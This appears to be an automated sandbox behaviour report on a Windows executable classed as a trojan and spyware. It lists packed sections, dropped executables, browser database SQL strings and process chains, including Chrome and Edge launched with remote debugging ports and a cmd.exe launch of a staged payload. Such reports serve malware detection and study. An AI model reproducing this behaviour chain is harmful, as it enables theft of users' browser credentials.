Source: 4TPPuMwzSA.exe, 00000000.00000003.1619014278.0000000006568000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1617812701.0000000006556000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1608742452.00000000064E7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1609716203.00000000064EF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1611444138.0000000006423000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1614437777.000000000653E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1608269396.0000000006425000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1617649877.0000000006423000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1610041137.00000000064F4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1608002150.00000000064E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1605629404.000000000628C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1620166320.000000000657B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1609078995.00000000065B9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1606263109.0000000006422000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1615562032.000000000665B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1614686127.000000000642A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1617493642.000000000668F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1609822847.00000000065B3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1611316860.0000000006504000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1605440440.000000000628D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1606743069.0000000006423000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1613569744.0000000006423000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1613738984.000000000652C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1605811230.00000000064CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1612922776.0000000006524000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1610881630.0000000006425000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1616389344.0000000006543000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1611903497.0000000006430000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1610147896.00000000065D0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1605717079.0000000006431000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1606456308.0000000006425000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1608505707.0000000006593000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1617344745.0000000006558000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1618167681.0000000006687000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1616105865.000000000667D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1614007210.0000000006427000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1607363169.0000000006577000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1606641039.000000000657A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1613866223.000000000663C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1613198357.0000000006512000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe
Source: 4TPPuMwzSA.exe, 00000000.00000003.1610638932.0000000006430000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 4TPPuMwzSA.exe

Source: 4TPPuMwzSA.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 4TPPuMwzSA.exe	Static PE information: Section: ZLIB complexity 1.000140464469178
Source: 4TPPuMwzSA.exe	Static PE information: Section: jykvwyex ZLIB complexity 0.9943233560199386
Source: 0T9SUT3NIHPVYFO0WUKXI.exe.0.dr	Static PE information: Section: qlmsecti ZLIB complexity 0.9947330881814185
Source: random[1].exe.4.dr	Static PE information: Section: ZLIB complexity 0.9983076464577657
Source: DBAEHCGHII.exe.4.dr	Static PE information: Section: ZLIB complexity 0.9983076464577657
Source: skotes.exe.18.dr	Static PE information: Section: ZLIB complexity 0.9983076464577657

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@41/62@5/10

Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe

Code function: 4_2_6CB70300 MapViewOfFile,GetLastError,FormatMessageA,PR_LogPrint,GetLastError,PR_SetError,

4_2_6CB70300

Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\B4U6J06FD2GOJV7081L.exe.log

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2012:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Users\user\Desktop\4TPPuMwzSA.exe

File created: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\4TPPuMwzSA.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.4.dr, softokn3.dll.4.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: 0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2272535171.00000000058B0000.00000004.00000020.00020000.00000000.sdmp, 0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2279406508.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmp, nss3[1].dll.4.dr, nss3.dll.4.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.4.dr, softokn3.dll.4.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: 0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2272535171.00000000058B0000.00000004.00000020.00020000.00000000.sdmp, 0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2279406508.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmp, nss3[1].dll.4.dr, nss3.dll.4.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: 0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2272535171.00000000058B0000.00000004.00000020.00020000.00000000.sdmp, 0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2279406508.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmp, nss3[1].dll.4.dr, nss3.dll.4.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: 0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2272535171.00000000058B0000.00000004.00000020.00020000.00000000.sdmp, 0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2279406508.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmp, nss3[1].dll.4.dr, nss3.dll.4.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.4.dr, softokn3.dll.4.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.4.dr, softokn3.dll.4.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.4.dr, softokn3.dll.4.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.4.dr, softokn3.dll.4.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.4.dr, softokn3.dll.4.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: 0T9SUT3NIHPVYFO0WUKXI.exe, 0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2272535171.00000000058B0000.00000004.00000020.00020000.00000000.sdmp, 0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2279406508.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmp, nss3[1].dll.4.dr, nss3.dll.4.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: 0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2272535171.00000000058B0000.00000004.00000020.00020000.00000000.sdmp, 0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2279406508.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: 0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2272535171.00000000058B0000.00000004.00000020.00020000.00000000.sdmp, 0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2279406508.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmp, nss3[1].dll.4.dr, nss3.dll.4.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.4.dr, softokn3.dll.4.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: 4TPPuMwzSA.exe, 00000000.00000003.1421459113.0000000005FA6000.00000004.00000800.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1421705619.0000000005F8B000.00000004.00000800.00020000.00000000.sdmp, 0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000003.1876153610.0000000005779000.00000004.00000020.00020000.00000000.sdmp, 0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000003.2015366713.000000000576D000.00000004.00000020.00020000.00000000.sdmp, EGIJKEHCAKFCAKFHDAAA.4.dr, AKEGIIJDGHCAKFHJEHCF.4.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: 0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2272535171.00000000058B0000.00000004.00000020.00020000.00000000.sdmp, 0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2279406508.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.4.dr, softokn3.dll.4.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: 0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2272535171.00000000058B0000.00000004.00000020.00020000.00000000.sdmp, 0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2279406508.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.4.dr, softokn3.dll.4.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: 4TPPuMwzSA.exe

ReversingLabs: Detection: 57%

Source: B4U6J06FD2GOJV7081L.exe	String found in binary or memory: 3The file %s is missing. Please, re-install this application
Source: 0T9SUT3NIHPVYFO0WUKXI.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\4TPPuMwzSA.exe

File read: C:\Users\user\Desktop\4TPPuMwzSA.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\4TPPuMwzSA.exe "C:\Users\user\Desktop\4TPPuMwzSA.exe"
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	Process created: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe "C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe"
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	Process created: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe "C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe"
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2652 --field-trial-handle=2088,i,9412367177706632244,1017360453159819456,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2412 --field-trial-handle=2308,i,2540169261572747136,2314249800011024031,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2072 --field-trial-handle=1996,i,11317946116252847861,14765344992864549327,262144 /prefetch:3
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\DBAEHCGHII.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Documents\DBAEHCGHII.exe "C:\Users\user\Documents\DBAEHCGHII.exe"
Source: C:\Users\user\Documents\DBAEHCGHII.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	Process created: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe "C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe"	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	Process created: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe "C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\DBAEHCGHII.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2652 --field-trial-handle=2088,i,9412367177706632244,1017360453159819456,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2412 --field-trial-handle=2308,i,2540169261572747136,2314249800011024031,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2072 --field-trial-handle=1996,i,11317946116252847861,14765344992864549327,262144 /prefetch:3	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Documents\DBAEHCGHII.exe "C:\Users\user\Documents\DBAEHCGHII.exe"	Jump to behavior
Source: C:\Users\user\Documents\DBAEHCGHII.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"

Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	Section loaded: version.dll	Jump to behavior
